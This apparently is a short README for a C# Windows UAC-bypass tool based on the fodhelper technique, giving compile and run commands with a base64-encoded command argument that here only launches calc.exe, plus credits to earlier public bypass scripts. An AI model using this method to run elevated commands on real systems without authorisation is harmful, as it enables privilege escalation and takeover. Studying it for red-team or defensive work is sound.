Compile with csc
C:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe SharpFodhelperBypass.cs
Base64 encode command to run
Execute with base64 encoded command as argument:
SharpFodhelperBypass.exe Y21kIC9jIHN0YXJ0IGNhbGMuZXhl
The above will launch calc.exe
Credit for the Fodhelper bypass method this is based on from winscripting's UAC-bypass script: https://github.com/winscripting/UAC-bypass
Also stole code from enigma0x3's eventvwr bypass powershell script: https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-EventVwrBypass.ps1